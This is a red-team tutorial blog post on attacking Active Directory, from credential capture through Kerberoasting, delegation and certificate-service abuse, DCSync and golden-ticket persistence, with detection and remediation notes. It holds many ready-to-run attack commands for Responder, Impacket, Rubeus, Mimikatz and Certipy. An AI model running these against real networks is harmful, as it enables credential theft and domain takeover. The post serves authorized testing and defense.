Red Team Basics: Pentesting Active Directory

Everything in this post requires authorization. Real authorization - a signed Rules of Engagement document, a defined scope, and a client who knows exactly what you're doing. "My buddy said it's fine" is not a scope document. If you don't have written permission that specifies what systems you can touch, what techniques are in bounds, and what the engagement window is, you don't have permission. Don't be stupid.

I wrote Blue Team Basics a while back, covering what defenders should look for in AD environments. This is the other side of that coin. If that post showed what to watch for, this one shows what attackers actually do, and why those detections exist in the first place.

All the techniques here are well-documented, publicly known, and tested in lab environments: GOAD, BadBlood, and my own Azure tenant under MSRC Safe Harbor. Nothing here is novel. The scary part is how often it still works.

Every tool mentioned in this post is listed with descriptions and usage notes in the Quick Tooling Reference table at the bottom.

Initial Access: Getting a Foothold

You're on the internal network but you've got nothing. No credentials, no domain context, no idea what's in front of you. Everything in this post starts with getting that first set of credentials, whether it's a cleartext password or an NTLM hash. Here are the reliable ways to get them.

LLMNR/NBT-NS Poisoning

This is the one I start with on almost every internal engagement. When a Windows machine tries to resolve a hostname and DNS fails, it falls back to broadcasting the request on the local network. LLMNR and NBT-NS are those fallback protocols, and they trust whatever responds first.

Responder sits on the wire and answers those broadcasts. The victim machine thinks it's talking to the server it wanted, sends an NTLMv2 authentication attempt, and Responder captures the Net-NTLMv2 challenge-response (crackable offline, but not usable for pass-the-hash). No user interaction needed. Someone typos a share path, Responder grabs a challenge-response.

# Start Responder on your interface
# -I is the interface, -wF enables WPAD rogue proxy and fingerprinting
# pip/pipx install: just 'responder'. Git clone: 'python3 Responder.py'
sudo responder -I eth0 -wF

# Hashes land in /usr/share/responder/logs/
# Crack them with hashcat - mode 5600 is NTLMv2
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

In my experience, you'll get a hit within the first 30 minutes of plugging into a network. People mistype share paths constantly. WPAD is even better because browsers query for it automatically, so you don't even need someone to make a mistake.

The fix is simple: disable LLMNR and NBT-NS via Group Policy, enforce SMB signing (prevents NTLM relay attacks), and segment your network. Most orgs don't because they don't know these protocols exist. And to be fair, some legacy stuff breaks if you turn them off, so there's that.

Detection: MDI can detect when LLMNR/NBT-NS poisoning results in NTLM relay attempts against DC services (its sensors sit on DCs, not every segment). For direct poisoning detection on the wire, you need network IDS with Responder signatures or a tool like Respounder. Look for LLMNR (UDP/5355) and NBT-NS (UDP/137) responses from non-DNS-server IPs.

Password Spraying

Take a list of all domain users (which any authenticated user can pull), pick two or three common passwords, and try them against every account. You're not brute-forcing one account with a million passwords. You're trying "Summer2024!" against a thousand accounts.

# DomainPasswordSpray - native PowerShell, no binaries to drop
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password "Summer2024!" -OutFile spray_results.txt

# Or with NetExec from Linux - first pull a user list with any valid cred
nxc smb 192.168.1.1 -u jsmith -p "Password1" --users | awk '{print $5}' > users.txt

# Then spray
nxc smb 192.168.1.0/24 -u users.txt -p "Summer2024!" --no-bruteforce

The trick is timing. On-prem AD has no lockout policy by default (threshold = 0), but most orgs configure one - commonly 5-10 attempts with a 15-30 minute lockout window. Entra smart lockout uses 10 attempts (3 for US Government tenants) with a 60-second initial lockout that escalates on repeated failures. Always check before spraying.

You try one password, wait out the lockout window, try another. In a domain with 2,000 users, you'll almost always find someone using a seasonal password or the company name followed by the year.

Before spraying, check the lockout policy so you don't accidentally lock out half the company:

# Pull the domain password policy (null session - often blocked on modern DCs)
nxc smb 192.168.1.1 -u '' -p '' --pass-pol

# With creds (more reliable - null sessions fail silently since Server 2012 R2+)
nxc smb 192.168.1.1 -u jsmith -p Password1 --pass-pol

# Or from a domain-joined machine
net accounts /domain

Detection: Event ID 4625 (failed logon) from many accounts against few passwords from a single source in a short window. Entra: sign-in logs with failure reason "Invalid username or password" from a single IP across many accounts. Slow sprays that stay under lockout thresholds are harder - MDI uses behavioral analytics but very slow sprays can still evade.

AS-REP Roasting

Some accounts have Kerberos pre-authentication disabled. This is a misconfiguration (usually from someone copying settings from a template or troubleshooting an issue years ago and never fixing it). When pre-auth is off, you can request an AS-REP for that account without knowing the password, and the response contains material you can crack offline.

# Find AS-REP roastable accounts with Impacket
impacket-GetNPUsers CORP.LOCAL/ -usersfile users.txt -no-pass -dc-ip 192.168.1.1 -format hashcat

# Or with Rubeus from a domain-joined machine
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# Crack with hashcat - mode 18200 is AS-REP
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

I don't find these as often as Kerberoastable accounts, but when I do, the passwords tend to be weak because nobody's paying attention to these accounts.

Detection: Event ID 4768 (Kerberos Authentication Service) where the Pre-Authentication Type field is 0, indicating pre-auth was not performed for an account that should require it.

Other initial access methods (phishing, VPN credential stuffing, exposed services) are real and common but out of scope for this post. This one is about what happens once you're on the network.

At this point you've got a domain user account, or at least an NTLM hash you can pass. That's your foothold. Now you need to figure out what that account can actually reach.

Enumeration: Mapping the Domain

You've got credentials but you're flying blind. Before you try to escalate anything, you need to understand what's in front of you: who has admin where, what service accounts exist, what delegation is configured, where the Certificate Services templates are. You need a map.

Here's the part that surprises people who aren't in security: a standard domain user can see almost everything in Active Directory. Group memberships, computer accounts, trust relationships, SPNs, delegation settings, ADCS templates. All of it. That's not a bug, it's how AD was designed. LDAP is an open book by default.

BloodHound

BloodHound changed AD security forever. It takes all those LDAP relationships (group memberships, local admin rights, sessions, ACLs) and turns them into a graph database where you can query "show me the shortest path from this user to Domain Admin." I use it on every engagement. (See the OPSEC section before running collection in a monitored environment.)

# Collect with SharpHound from a domain-joined machine
# -c All grabs everything but is LOUD (thousands of LDAP queries). Use -c DCOnly for stealth.
.\SharpHound.exe -c All --zipfilename collection.zip

# Or from Linux with the Python collector
bloodhound-python -c All -u 'jsmith' -p 'Password1' -d corp.local -ns 192.168.1.1

Once you import the data into BloodHound (CE or the legacy version), the pre-built queries tell you most of what you need to know:

• "Find Shortest Paths to Domain Admins" is the obvious one
• "Find AS-REP Roastable Users" and "Find Kerberoastable Users" save you manual enumeration
• "Find Computers Where Domain Users Are Local Admin" is depressingly common
• Custom Cypher queries for specific things, like users with DCSync rights who aren't in Domain Admins

# Useful Cypher queries for BloodHound

# Users with DCSync rights (not in DA)
# These Cypher queries work in legacy BloodHound (4.x and earlier with Neo4j). BloodHound CE (5.x+) replaced Neo4j with PostgreSQL and a REST API - these queries have no direct equivalent in CE.
MATCH (u:User)-[:GetChanges]->(d:Domain) WHERE (u)-[:GetChangesAll]->(d)
AND NOT (u)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})
RETURN u, d

# Shortest path from owned principals to DA
MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN p

# Computers with unconstrained delegation (not DCs)
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT (c)-[:MemberOf*1..]->(:Group {name:'DOMAIN CONTROLLERS@CORP.LOCAL'}) RETURN c

PowerView

PowerView is still my go-to for quick manual enumeration when I don't want to run a full SharpHound collection. It's a PowerShell script, no compilation needed, and it wraps LDAP queries in convenient cmdlets.

# Load PowerView
. .\PowerView.ps1

# Basic domain info
Get-Domain
Get-DomainController

# Find all admin group members
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Find where current user has local admin
Find-LocalAdminAccess

# Find service accounts (SPN set)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description

# Enumerate ADCS certificate templates
Get-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" |
    Select-Object name, displayname

What I'm looking for during enumeration: admin group memberships that seem too broad, service accounts with descriptions containing passwords (yes, really, I still find these), delegation settings, and ADCS templates with enrollment rights for low-privilege users. All of these feed into the next phase.

Detection: SharpHound generates thousands of LDAP queries in minutes from a single source - MDI signatures this pattern. High-volume LDAP queries from non-admin workstations are suspicious. Event 1644 (expensive LDAP queries) requires a registry key to enable but is valuable for catching enumeration tools.

After this you've got a map of the domain: you know the attack paths, you know which accounts are juicy, and you know where the misconfigurations are. Now you pick the path with the best odds.

Privilege Escalation: Domain User to Domain Admin

You've got a domain user account. Now you want Domain Admin. There are dozens of paths, but these are the ones I hit most often.

Kerberoasting

This is probably the single most common AD escalation path I see. Any domain user can request a Kerberos service ticket (TGS) for any account that has a Service Principal Name set. The ticket is encrypted with the service account's password hash. You take the ticket offline and crack it. The service never knows.

# Kerberoast with Rubeus (target specific accounts for stealth; unfiltered shown for lab use)
# LOUD - bulk TGS requests trigger MDI and 4769 alerts. See OPSEC section before running in production.
.\Rubeus.exe kerberoast /user:svc_target /outfile:tgs_hashes.txt

# Or with Impacket from Linux
impacket-GetUserSPNs CORP.LOCAL/jsmith:Password1 -dc-ip 192.168.1.1 -outputfile tgs_hashes.txt

# Crack with hashcat - mode 13100 is TGS-REP (RC4)
# AES Kerberoast: 19600 is etype 17 (AES-128), 19700 is etype 18 (AES-256)
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

The reason this works so well: service accounts tend to have old passwords (sometimes set once and never changed), those passwords are often human-readable (someone typed them during setup), and the accounts frequently have admin privileges because "the service needed it." I've cracked service account passwords on real engagements in under a minute. A 25-character random password would make this impractical, but that's not what people set on service accounts.

The real fix is Group Managed Service Accounts (gMSA), which rotate passwords automatically with 240-character random strings. Also: disable RC4 encryption where possible - when AES is enforced, Kerberoasting still works but the extracted hashes use AES-128 (hashcat mode 19600) or AES-256 (mode 19700), which are computationally brutal compared to RC4. A password that falls in minutes against RC4 could take weeks against AES-256 even with good hardware. If gMSA isn't feasible immediately, enforce 25+ character random passwords on all SPN-bearing accounts and rotate annually. But adoption of all of these is still low because migrating existing services is painful.

Detection: Event ID 4769 with encryption type 0x17 (RC4). In an AES-enforced environment, any RC4 TGS request is suspicious. High-volume 4769 events from a single source in a short window indicate Kerberoasting tools running without filtering. MDI catches bulk requests but not single targeted ones.

Once cracked, test where the service account has admin access with nxc, then move laterally using the techniques in the Lateral Movement section below.

ACL Abuse

AD permissions are... a lot. Every object has an ACL, and those ACLs can grant surprisingly powerful rights to seemingly ordinary accounts. BloodHound is the best way to find these, but here's what you're looking for:

• GenericAll on a user or group: you own that object. Reset passwords, modify group memberships, whatever you want.
• GenericWrite: lets you modify attributes. Write an SPN to an account and Kerberoast it. Write to msDS-AllowedToActOnBehalfOfOtherIdentity for RBCD attack.
• WriteDACL: you can modify the ACL itself. Grant yourself GenericAll, then do the above.
• ForceChangePassword: reset someone's password without knowing the current one. Noisy but effective.
• WriteOwner: take ownership, then modify the DACL, then do whatever.

# Check ACLs on Domain Admins group with PowerView
# Note: SecurityIdentifier returns SIDs, pipe to Convert-SidToName to see actual names
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs |
    Where-Object { $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite" } |
    Select-Object @{Name='Who';Expression={Convert-SidToName $_.SecurityIdentifier}}, ActiveDirectoryRights

# Abuse GenericAll on a user - force password reset
net user targetuser NewPassword123! /domain

# Abuse WriteDACL - grant yourself GenericAll first
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights All

ACL chains are where it gets wild. You might have WriteDACL on Group A, which has GenericAll on User B, who's a member of Group C, which has DCSync rights. BloodHound maps these chains automatically. Doing it manually would take days.

Detection: Event ID 5136 (directory service object modification) and 4662 for nTSecurityDescriptor changes on sensitive objects. MDI alerts on ACL modifications to protected objects (Domain Admins, domain root, GPOs, and any objects manually tagged as sensitive in the MDI portal). ACL changes on non-protected objects are harder to catch - periodic BloodHound diffing is the best approach.

Delegation Abuse

I covered delegation from the defensive side in the Blue Team post. Here's how it looks from the other side.

Unconstrained delegation is the worst case. If you compromise a machine with unconstrained delegation, any user who authenticates to that machine leaves their TGT behind. Coerce a Domain Admin to authenticate (via PrinterBug, PetitPotam, or just wait for someone to connect), and you've got their ticket.

Prerequisite: You need local admin on the unconstrained delegation host to run Rubeus monitor. Without it, you can't extract TGTs from memory as they arrive.

# Find unconstrained delegation machines
Get-DomainComputer -Unconstrained | Select-Object dnshostname

# Coerce authentication with PrinterBug (SpoolSample)
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local

# Monitor for incoming TGTs with Rubeus
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$

Constrained delegation is supposed to be safer because it limits which services the account can delegate to. But if you compromise an account with constrained delegation, you can use S4U2Self and S4U2Proxy to impersonate any user to those allowed services.

And there's a fun trick: if you can delegate to, say, CIFS/dc01.corp.local, you can often swap the service name in the ticket (CIFS to LDAP, HOST, etc.) because AD validates the host portion of the SPN but not the service class - so a ticket for CIFS/dc01 works for LDAP/dc01, HOST/dc01, etc. as long as both SPNs are registered to the same machine account.

# S4U attack with Rubeus - impersonate admin to allowed service
# You need the service account's hash (from Kerberoasting, LSASS dump, or secretsdump).
.\Rubeus.exe s4u /user:svc_web /rc4:HASH_HERE /impersonateuser:administrator /msdsspn:CIFS/dc01.corp.local /ptt

# Same with Impacket
impacket-getST -spn CIFS/dc01.corp.local -impersonate administrator CORP.LOCAL/svc_web -hashes :NTLM_HASH

Resource-Based Constrained Delegation (RBCD) is the newer flavor. If you can write to a computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute (which you can if you have GenericWrite), you can configure that computer to trust a machine account you control for delegation. Then you use S4U to impersonate anyone to that computer.

# RBCD attack - need GenericWrite on target computer
# Step 1: Create a machine account (default quota is 10 per user -- check ms-DS-MachineAccountQuota)
impacket-addcomputer CORP.LOCAL/jsmith:Password1 -computer-name FAKEPC -computer-pass FakePass123

# Step 2: Set RBCD on target
impacket-rbcd CORP.LOCAL/jsmith:Password1 -delegate-from FAKEPC$ -delegate-to TARGET$ -action write

# Step 3: Get ticket as admin to target
impacket-getST -spn CIFS/TARGET.corp.local -impersonate administrator CORP.LOCAL/FAKEPC$:FakePass123

# Step 4: Use the ticket
export KRB5CCNAME=administrator@CIFS_TARGET.corp.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass CORP.LOCAL/administrator@TARGET.corp.local

Worth noting: Microsoft has silently patched some RBCD attack variations in recent updates. Test your specific chain against the target before relying on it.

Detection: For unconstrained delegation abuse: Event 4624 showing TGT delegation to non-DC hosts. For RBCD: Event 5136 for modifications to msDS-AllowedToActOnBehalfOfOtherIdentity. For constrained delegation S4U abuse: Event 4769 with S4U2Proxy transition type. Monitor for new machine accounts (Event 4741) - RBCD attacks often require creating one.

Remediation: Remove unconstrained delegation from every machine that isn't a DC. For constrained delegation, audit the msDS-AllowedToDelegateTo list and remove entries that are no longer needed. Set ms-DS-MachineAccountQuota to 0 to block unprivileged machine account creation (kills the RBCD attack chain). Add sensitive accounts to the Protected Users group to prevent delegation entirely.

That default of 10 machine accounts per user (ms-DS-MachineAccountQuota) is one of those settings that's been insecure forever and nobody changes. Set it to 0 if you don't need users creating machine accounts.

ADCS Attacks

Active Directory Certificate Services is the gift that keeps giving for attackers. SpecterOps published the original research in 2021 and the attack classes (ESC1 through ESC13 and counting) keep growing. Certipy makes it trivially easy.

The two I see most in the wild:

ESC1: a certificate template allows low-privilege users to enroll, permits client authentication, and lets the enrollee specify a Subject Alternative Name (SAN). You request a cert with the SAN set to administrator@corp.local, and now you have a certificate that authenticates as the domain admin.

# Find vulnerable templates with Certipy
certipy find -u jsmith@corp.local -p Password1 -dc-ip 192.168.1.1 -vulnerable -stdout

# ESC1 - request cert as administrator
certipy req -u jsmith@corp.local -p Password1 -ca CORP-CA -template VulnTemplate -upn administrator@corp.local -sid S-1-5-21-XXXXXXXXX-500

# Since February 2025, strong certificate mapping is enforced by default.
# Without the -sid flag matching the target's SID, the cert won't auth.
# This raises the bar but doesn't kill ESC1 -- any domain user can query
# a target's SID via LDAP (Get-ADUser administrator -Properties objectSid).

# Authenticate with the cert to get a TGT and NT hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.1

ESC8: the ADCS web enrollment endpoint (certsrv) accepts NTLM authentication without enforcing HTTPS. You coerce a DC to authenticate to your relay, relay the authentication to certsrv, request a certificate as the DC's machine account, and use that to DCSync. Coerce (PetitPotam, PrinterBug, DFSCoerce, or similar) + ntlmrelayx + certipy, three commands and the domain is yours.

Fair warning: this doesn't always work cleanly. PetitPotam has been patched in some configurations, so your coercion might just fail silently. You need the WebClient service running on the target for HTTP coercion to work. EPA (Extended Protection for Authentication) and channel binding on the CA will block the relay outright. And the CA needs web enrollment enabled with NTLM allowed, which isn't a given anymore. In my experience, at least one of these frequently blocks you, and you end up hunting for another coercion method or pivoting to a different attack path entirely. Still worth trying first, but don't plan your whole engagement around it.

# ESC8 - relay attack against web enrollment
# Terminal 1: set up relay to certsrv
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Terminal 2: coerce DC authentication
python3 PetitPotam.py YOUR_IP DC01_IP

# ntlmrelayx --adcs saves the cert as a .pfx automatically when the relay succeeds
# Use the saved .pfx directly with certipy to authenticate as the DC machine account
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.1

ADCS misconfigurations are everywhere because most orgs deployed it years ago for internal stuff (802.1x, VPN certs) and haven't audited the templates since. Certipy's find -vulnerable output is usually eye-opening.

Detection: CA audit events 4886 (certificate request) and 4887 (certificate issued) - look for certificates issued with SAN values that don't match the requester. MDI covers ESC8 relay and some PKINIT abuse. For ESC1, monitor for enrollment by unexpected accounts.

Remediation (ESC1): Remove the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag from every template that doesn't have a legitimate need for caller-specified SANs. Restrict enrollment permissions so only accounts that actually need certificates can request them. Run certipy find -vulnerable and audit every template it flags.

Remediation (ESC8): Enforce HTTPS on the CA web enrollment endpoint. Enable Extended Protection for Authentication (EPA) on the IIS site hosting certsrv. Disable NTLM on the CA server if feasible. If web enrollment isn't actively used, disable the Certificate Authority Web Enrollment role entirely - it eliminates the attack surface completely.

DCSync

How do you end up with replication rights? A Kerberoasted service account might already have them. If you compromised a DA, they inherit these by default. Or if you landed WriteDACL on the domain object through an ACL chain, you can grant yourself the rights directly. However you get there - if you have both Replicating Directory Changes and Replicating Directory Changes All (you need both - the second is what grants access to password data), you can use the DRSUAPI replication protocol to request all the password hashes in the domain. Game over.

# DCSync with Impacket - dump all hashes
impacket-secretsdump CORP.LOCAL/adminuser:Password1@192.168.1.1 -just-dc-ntlm

# Or just grab a specific account
impacket-secretsdump CORP.LOCAL/adminuser:Password1@192.168.1.1 -just-dc-user krbtgt

# With Mimikatz on Windows
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt

Accounts with DCSync rights that aren't Domain Admins or domain controller accounts are a massive red flag. I've found service accounts with these permissions because someone followed a forum post during Exchange setup and never cleaned it up. Check for this. BloodHound flags it automatically.

Detection: Event ID 4662 with the DS-Replication-Get-Changes-All GUID ({1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}) from a non-DC source. MDI detects this reliably - it's one of its strongest alerts.

If one of these worked, you've got Domain Admin or something close to it. But you're still sitting on one machine. The credentials are only useful if you can use them somewhere.

Lateral Movement: Moving Through the Network

You've got privileged credentials or hashes. Now you need to move from the machine you're on to the ones that actually matter: the domain controller, the file server with the crown jewels, the jump box into the next network segment.

Pass-the-Hash

If you have an NTLM hash, you don't need to crack it. NTLM authentication uses the hash directly, so you just pass it to services that accept NTLM. This is why credential hygiene matters so much, and why you don't want admins logging into workstations (their hash stays in memory).

# Pass-the-Hash with NetExec (CrackMapExec successor)
nxc smb 192.168.1.0/24 -u administrator -H :NTLM_HASH_HERE

# Execute commands
nxc smb 192.168.1.50 -u administrator -H :NTLM_HASH -x "whoami"

# Check where a domain hash has local admin access
nxc smb 192.168.1.0/24 -u jsmith -H :NTLM_HASH

NetExec is the workhorse for this. It'll spray a hash across a subnet and tell you where you have admin access. Then you pick the juiciest target and move there.

Detection: Event ID 4624 logon type 3 (network) on the target host with NTLM authentication from unexpected sources. Type 9 (NewCredentials) appears on the attacker's Windows machine when using Mimikatz pth + runas /netonly - not on the target. Correlate with 4776 (NTLM credential validation on the DC). MDI detects pass-the-hash via NTLM anomalies, though heavy NTLM environments produce false negatives.

Remediation: Restrict NTLM usage via GPO (Network Security: Restrict NTLM). Deploy Credential Guard to protect NTLM hashes in LSASS. Don't log into workstations with DA credentials - use tiered administration so admin hashes never land on machines attackers can reach. Add privileged accounts to the Protected Users group.

Pass-the-Ticket

Similar concept but with Kerberos tickets instead of NTLM hashes. You extract a TGT or TGS from memory and inject it into your session. Useful when NTLM is disabled or when you want to use Kerberos-only services.

Prefer extracting a TGT when possible - it lets you request TGS tickets for any service the principal can access, while a stolen TGS only works for that specific service. TGTs default to a 10-hour lifetime (renewable up to 7 days), so time your operations accordingly.

# Dump tickets from memory with Rubeus
.\Rubeus.exe dump /nowrap

# Import a ticket into your session
.\Rubeus.exe ptt /ticket:BASE64_TICKET_HERE

# From Linux - convert and use with Impacket
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
impacket-psexec CORP.LOCAL/administrator@dc01.corp.local -k -no-pass

Detection: MDI detects pass-the-ticket by correlating ticket usage across hosts - same ticket seen authenticating from different IPs is a key indicator. Event ID 4768 anomalies (TGT requested from an unusual host for a given account) and 4624 type 3 with Kerberos auth where client IP doesn't match the ticket's original requestor.

Remediation: Same as PtH - Credential Guard protects TGTs in LSASS. Protected Users group prevents delegation and enforces shorter ticket lifetimes. Tiered administration keeps privileged tickets off low-trust machines where they can be extracted.

Impacket Exec Tools

Impacket has several ways to execute commands remotely, and picking the right one matters for both reliability and stealth:

• impacket-psexec: Uploads a service binary, creates and starts a service. Reliable but noisy. Writes to disk, creates a service (Event 7045), easy to detect. I use this when I don't care about stealth.
• impacket-smbexec: Creates a service whose binPath points directly at cmd.exe, output goes to a share. No binary upload, but still creates a service (Event 7045), so it's not as stealthy as it sounds.
• impacket-wmiexec: Uses WMI (DCOM) for execution. No service creation, no binary on disk. My default choice when I need to be quiet. Output is still written to ADMIN$ and retrieved over SMB, so you need SMB access too.
• impacket-atexec: Schedules a task via the Task Scheduler service. Less common, but useful when SMB/WMI are restricted. Leaves scheduled task artifacts.

# wmiexec - quiet, no service creation
impacket-wmiexec CORP.LOCAL/administrator:Password1@192.168.1.50

# With a hash instead of password
impacket-wmiexec CORP.LOCAL/administrator@192.168.1.50 -hashes :NTLM_HASH

# psexec when you need a full interactive shell and don't care about noise
impacket-psexec CORP.LOCAL/administrator:Password1@192.168.1.50

# smbexec as a middle ground
impacket-smbexec CORP.LOCAL/administrator:Password1@192.168.1.50

WinRM / PowerShell Remoting

If WinRM is enabled (and it often is on servers, especially if someone's been managing with PowerShell), you can get a PowerShell session remotely. This is a legitimate admin tool, which makes it harder to flag as malicious.

# Standard PowerShell remoting
Enter-PSSession -ComputerName SERVER01 -Credential CORP\administrator

# Or run commands without an interactive session
Invoke-Command -ComputerName SERVER01,SERVER02 -ScriptBlock { whoami; hostname }

# With NetExec from Linux
nxc winrm 192.168.1.50 -u administrator -p Password1 -x "whoami"

WinRM runs on port 5985 (HTTP) or 5986 (HTTPS). If you see 5985 open, it's worth trying.

Detection: For exec tools above: Event 7045 (service creation) for psexec/smbexec, Event 4698 (scheduled task creation) for atexec, Event 4688 showing cmd.exe spawned by WmiPrvSE.exe for wmiexec (requires command-line audit policy). For WinRM: Event 91 (WSMan session) and 4648 (explicit credential logon). Process command-line logging (Event 4688 with audit policy) catches the commands themselves.

Remediation: Restrict local admin access to only accounts that need it. Disable WinRM on machines that don't require remote management. Block inbound SMB (445) between workstations (workstation-to-workstation lateral movement shouldn't be possible). Use LAPS so compromised local admin creds only work on one machine.

LAPS Password Extraction

LAPS (Local Administrator Password Solution) stores a unique local admin password for each domain-joined machine as an attribute in AD. The idea is solid: every workstation gets a different randomized local admin password, rotated on a schedule. The catch is that whoever has read access to that confidential attribute (regular "read all properties" doesn't cut it - you need explicit delegation or "All Extended Rights") can pull the password in cleartext and log into the machine as a local admin.

Legacy LAPS (the original Microsoft LAPS) stores the password in the ms-Mcs-AdmPwd attribute, and it's plaintext. If you can read it, you've got the password. Windows LAPS (shipped with Server 2025 and backported) can store passwords in plaintext (msLAPS-Password) or encrypted (msLAPS-EncryptedPassword) depending on configuration, but legacy LAPS is still everywhere.

The first thing I check after compromising an account is whether that account has read permissions on the LAPS attribute for any machines. You'd be surprised how many helpdesk accounts, or even regular users in certain OUs, have this permission granted and forgotten.

Find one machine where you can read the LAPS password, and you've got local admin on that box. Local admin gets you SAM hashes, cached credentials, and a pivot point for lateral movement. It's a clean path from "slightly privileged user" to "hopping across the network."

# Find computers with LAPS and check if you can read the password
Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' } | Select-Object Name, 'ms-Mcs-AdmPwd'

Detection: Event 4662 for reads of the ms-Mcs-AdmPwd or msLAPS-Password confidential attributes. Windows LAPS logs Event 330 in the Microsoft-Windows-LAPS/Operational log. Audit LAPS read delegation on OUs periodically.

At this point you can move freely across the domain. You can execute commands on remote machines, pivot through network segments, and access whatever data you need. But all of that evaporates the moment someone resets the password you're using or patches the hole you came through.

Persistence: Staying In

You've compromised the domain. Now you want to make sure you can get back in even if someone changes passwords, patches the vuln you used, or discovers your initial access path. These techniques range from "survives password changes" to "survives a full rebuild (almost)."

Golden Ticket

I touched on this from the defensive side in Blue Team Basics. From the offensive side: if you have the KRBTGT hash (which you get from DCSync), you can forge a TGT for any account with any group memberships. You can forge a TGT with any lifetime you choose. The forged ticket remains usable until the KRBTGT password is changed twice, and most orgs have never changed it. OPSEC note: Mimikatz defaults to a 10-year ticket lifetime, which is an instant MDI alert. Forge with realistic lifetimes (/startoffset:0 /endin:600 /renewmax:10080) to match default Kerberos policy.

# Forge a golden ticket with Impacket
impacket-ticketer -nthash KRBTGT_NTLM_HASH -domain-sid S-1-5-21-XXXXXXXXX -domain corp.local administrator

# Or with Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXX /krbtgt:KRBTGT_NTLM_HASH /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Use the ticket
export KRB5CCNAME=administrator.ccache
impacket-psexec CORP.LOCAL/administrator@dc01.corp.local -k -no-pass

Golden tickets are the nuclear option. Once you have one, the only way to invalidate it is resetting KRBTGT twice (with full replication between each reset - get this wrong and you break Kerberos domain-wide). Even then, you need to assume the attacker will just DCSync again if they still have access. This is why detection and response matter more than just rotating passwords.

Detection: Correlate Event ID 4769 (TGS request) with the absence of a prior 4768 (AS-REQ) for the same session - golden tickets skip the AS exchange. PAC anomalies and group membership mismatches are detected by MDI at the network level (not via Windows event logs). MDI has 6+ golden ticket alert variants. Matching legitimate ticket lifetimes and encryption types reduces but doesn't eliminate MDI detection.

Silver Ticket

Scoped-down version: you need the service account's hash (not KRBTGT), and the forged ticket only works against that specific service. Harder to detect because the service validates the ticket itself and there's no TGT involved, so the DC never sees the authentication. Caveat: PAC validation enforcement (progressing since KB5020805/KB5037754 through 2025) is increasingly killing silver tickets - the target service may validate the PAC against the DC, which will reject the forged ticket. As of October 2024 (KB5044380+), full PAC validation is enforced by default on patched DCs. Check the KrbtgtFullPacSignature registry value under HKLM\SYSTEM\CurrentControlSet\Services\Kdc - value 3 means enforcement (silver tickets are dead), value 2 means audit-only (they still work but log Event ID 42), and 0/1 means disabled (they work silently). Test before relying on this.

# Forge a silver ticket for CIFS (file share access)
impacket-ticketer -nthash SERVICE_NTLM_HASH -domain-sid S-1-5-21-XXXXXXXXX -domain corp.local -spn CIFS/fileserver.corp.local administrator

# For LDAP access to a DC (useful for reading/modifying directory objects -- NOT DCSync, which uses DRSUAPI)
impacket-ticketer -nthash DC_MACHINE_HASH -domain-sid S-1-5-21-XXXXXXXXX -domain corp.local -spn LDAP/dc01.corp.local administrator

Silver tickets fly under the radar because they never touch the KDC for member server services. MDI can detect silver tickets against DC-hosted services (where it has a sensor analyzing AP-REQ traffic), but silver tickets targeting member servers (CIFS on a file server, HTTP on a web app) are invisible to MDI. Most detection focuses on golden tickets (anomalous TGTs). Silver tickets targeting non-DC services remain one of the harder things to catch.

Detection: Silver tickets against DC services: MDI AP-REQ analysis detects PAC anomalies. Against member servers: no centralized detection - requires local service-level logging or PAC validation enforcement (KB5020805+). The real fix is enforcing PAC validation domain-wide.

AdminSDHolder Backdoor

This was in the Blue Team post from the defensive angle. From offense: modify the AdminSDHolder ACL to include an account you control. Every 60 minutes, SDProp runs and copies that ACL to all protected groups (Domain Admins, Enterprise Admins, Account Operators, etc.). Your access gets restored automatically, even if someone removes you from the group.

# Add GenericAll for your account on AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdooruser -Rights All

# Wait 60 minutes (or force SDProp to run)
# After SDProp runs, you'll have GenericAll on all protected groups

The beauty (from an attacker's perspective) is that most defenders look at group memberships. They don't look at ACLs on AdminSDHolder. Even if someone audits Domain Admins membership, your ACL-based access persists because it's on a different object entirely. The Blue Team post covers how to detect this.

Detection: Periodic ACL audit on the AdminSDHolder object (compare against known-good baseline). Event ID 5136 for modifications to the AdminSDHolder's nTSecurityDescriptor. MDI alerts on ACL changes to this object.

Remediation: Regularly compare AdminSDHolder's ACL against a known-good baseline. Remove any entries that don't belong. Monitor Event 5136 on the AdminSDHolder object and investigate any modification immediately.

Other Persistence Techniques

Two more post-DA techniques worth knowing, even though both have significant caveats.

